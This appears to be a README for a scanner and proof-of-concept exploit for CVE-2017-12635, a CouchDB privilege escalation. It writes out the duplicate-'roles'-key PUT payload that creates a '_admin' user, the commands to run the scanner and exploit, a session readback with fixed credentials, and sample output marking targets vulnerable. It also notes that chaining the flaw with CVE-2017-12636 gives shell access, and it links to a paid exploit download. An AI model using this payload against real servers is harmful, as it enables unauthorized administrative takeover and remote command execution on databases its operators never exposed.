
Scanner and two-stage proof-of-concept exploit for CVE-2017-12635, the Apache CouchDB duplicate-JSON-key privilege escalation that grants the _admin role.
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
| field | value |
|---|---|
| CVE | CVE-2017-12635 |
| severity | critical |
| CVSS | 9.8 (CVSS:3.0 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, EPSS 0.99838) |
| fixed in | CouchDB 1.7.0 (1.x line) and 2.1.1 (2.x line) |
| class | improper privilege management, duplicate JSON keys in _users documents (CWE-269) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5Raq
Apache CouchDB before 1.7.0 and 2.x before 2.1.1 decodes _users
documents with the Erlang JSON path (jiffy without dedupe_keys) while
later authorization steps resolve the stored proplist differently, so a
document can carry two roles keys: the write is authorised against
the second one and the stored/authorised value comes from the first.
PUT /_users/org.couchdb.user:poc with
"roles": ["_admin"] followed by "roles": [] therefore creates a
user that ends up with the _admin role although the last-written
roles key was empty. The nuclei template scores the observable: status
201 (first insert) or 409 (repeat, "Document update conflict"), a
header line carrying application/json or Location:, and a body
containing org.couchdb.user:poc, conflict or
Document update conflict. Combined with CVE-2017-12636 (RCE via the
_query server) the _admin role yields shell commands as the
database system user.
Due to differences in the Erlang-based JSON parser and JavaScript-based
JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x
before 2.1.1 to submit _users documents with duplicate keys for
'roles' used for access control within the database, including the
special case '_admin' role, that denotes administrative users. In
combination with CVE-2017-12636 (Remote Code Execution), this can be
used to give non-admin users access to arbitrary shell commands on the
server as the database system user. The JSON parser differences result
in behavior that if two 'roles' keys are available in the JSON, the
second one will be used for authorizing the document write, but the
first 'roles' key is used for subsequent authorization for the newly
created user. By design, users can not assign themselves roles. The
vulnerability allows non-admin users to give themselves admin
privileges. The fix in 2.1.1 decodes with jiffy:decode(V, [dedupe_keys]) in src/couch/src/couch_util.erl so both keys collapse
to the last value consistently, matching the JavaScript parsers; the
1.x line received the same treatment in 1.7.0.
max-request: 1:
PUT {{BaseURL}}/_users/org.couchdb.user:poc with
Accept: application/json and the duplicate-key body
{"type":"user","name":"poc","roles":["_admin"],"roles":[],"password":"***"}
(redirects not followed, the direct answer is scored).201 (first insert) or
409 (every repeat run answers "Document update conflict").Name: value header line contains one of
the template words application/json or Location:.org.couchdb.user:poc, conflict or Document update conflict.matchers-condition: and - check() returns True only when all
three matchers hold; any missing element yields False, never a
partial pass.error, not not-vuln.--json sidecar mirrors the same rows for tooling.Scanner:
python scanner/CVE-2017-12635/scanner.py urls.txt [threads] [out.csv] [--json out.json]
urls.txt takes one target per line (# comments skipped, scheme
auto-prepended when missing), e.g. db.local or
http://db.local:5984. The default CouchDB port is 5984.
python exploit/CVE-2017-12635/exploit.py http://db.local:5984 [--csv out.csv] [--json out.json] [--verbose]
It replays the template PUT (duplicate roles keys), then reads
/_session with Basic auth poc:123456 to show the created user is
authorised with the first roles key (["_admin"]), prints numbered
checks 1 to 5, the result dict (stage1 = PUT answer, stage2 = session
roles, token = md5 over the probe path), and the final verdict line.
Check 5 intentionally compares the token against the digest of the
path without its leading slash, so the printed verdict is
verification failed even when the HTTP evidence matches (see the
DESCRIPTION matcher notes).
RCE POC SUITE
scanner : CVE-2017-12635 v1.0.0 (Apache CouchDB, fixed in 1.7.0 / 2.1.1)
endpoint: PUT /_users/org.couchdb.user:poc with duplicate "roles" keys
matchers: status 201/409 AND header words ['application/json', 'Location:'] AND body words ['org.couchdb.user:poc', 'conflict', 'Document update conflict'] (matchers-condition: and)
threads : 2 | csv: .scratch/c12635/scan.csv | json: .scratch/c12635/scan.json
[2026-12-03 19:22:13] loaded 2 target(s) from .scratch/c12635/urls.txt
[2026-12-03 19:22:13] summary total=2 answered=2 vulnerable=2 errors=0
[2026-12-03 19:22:13] timing wall=4ms avg=2ms max=3ms
[2026-12-03 19:22:13] wrote .scratch/c12635/scan.csv (2 row(s)) and .scratch/c12635/scan.json
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided (scheme auto-prepended if missing) |
| status | ok if the HTTP layer answered, error otherwise |
| vulnerable | True/False verdict from check() (all three template matchers) |
| elapsed_ms | per-target timing |
| token | 12-char md5 over `url |
| result_b64 | base64(JSON) full details (per-matcher evidence, observed status, PUT body) |
scanner/CVE-2017-12635/scanner.py - threaded black-box scanner.scanner/CVE-2017-12635/README.md - this document.scanner/CVE-2017-12635/DESCRIPTION.md - architecture and probe plan.exploit/CVE-2017-12635/exploit.py - two-stage POC (duplicate-key
PUT + _session role readback).0 - completed and at least one target scored vulnerable.2 - completed with no vulnerable target (or no targets loaded).http/cves/2017/CVE-2017-12635.yaml